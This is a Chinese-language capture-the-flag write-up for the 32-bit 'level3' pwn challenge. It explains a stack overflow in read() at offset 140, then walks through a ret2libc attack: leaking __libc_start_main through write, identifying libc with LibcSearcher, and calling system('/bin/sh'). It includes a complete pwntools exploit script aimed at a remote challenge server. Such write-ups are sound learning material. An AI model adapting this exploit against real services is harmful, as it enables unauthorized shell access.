文件下載地址:
鏈接:https://pan.baidu.com/s/1ByM1Dbt5j7Gw9mNkWryAVA
提取碼:pqzc
目錄
0x01.分析
checksec:
32位程序,開啓了NX。
查看源碼:
程序流程:
流程很簡單,程序先輸入,然後我們輸入。
漏洞利用:
- 很明顯read處棧溢出。
- 計算得到棧溢出的偏移量爲140。
- 尋找system函數或/bin/sh。
- 沒有找到上述。
- 題目提供了一個libc文件,提示也是libc。
- 我們想到泄露libc基址的辦法。
- 泄露一個已經執行過的函數,這裏選用__libc_start_main。
- 利用存在的函數把這個要泄露的函數的地址打印出來。
- 接收地址,並使用LibcSearcher工具查詢libc版本。(也可以用一個網站,應該題目提供的libc文件有用,但我沒有用到)。
- 計算出libc的基址,並求得sytem和/bin/sh得地址。
- 控制程序返回到main函數,再進行一次棧溢出,執行system函數,得到shell。
0x02.exp
##!/usr/bin/env python
from pwn import*
from LibcSearcher import LibcSearcher
r=remote("111.198.29.45",36406)
#r=process('./level3')
elf=ELF('./level3')
write_plt=elf.plt['write']
libc_start_main_got=elf.got['__libc_start_main']
main=elf.symbols['_start']
payload=flat([140*'A',write_plt,main,1,libc_start_main_got,4])
r.sendlineafter("Input:\n",payload)
libc_start_main_adr=u32(r.recv()[0:4])
libc=LibcSearcher('__libc_start_main',libc_start_main_adr)
libcbase=libc_start_main_adr-libc.dump('__libc_start_main')
system_adr=libcbase+libc.dump('system')
bin_sh_adr=libcbase+libc.dump('str_bin_sh')
payload=flat([140*'A',system_adr,0,bin_sh_adr])
r.sendline(payload)
r.interactive()
0x03.說明
題目提供了libc文件,但我暫時不知道怎麼使用,應該是用於查詢libc版本的。
用LibcSearcher會有多種可能,並且本地測試,和服務器測試都不一樣的。
由於種數比較少,我就直接一個個試,最後得到正確的libc版本,獲取shell。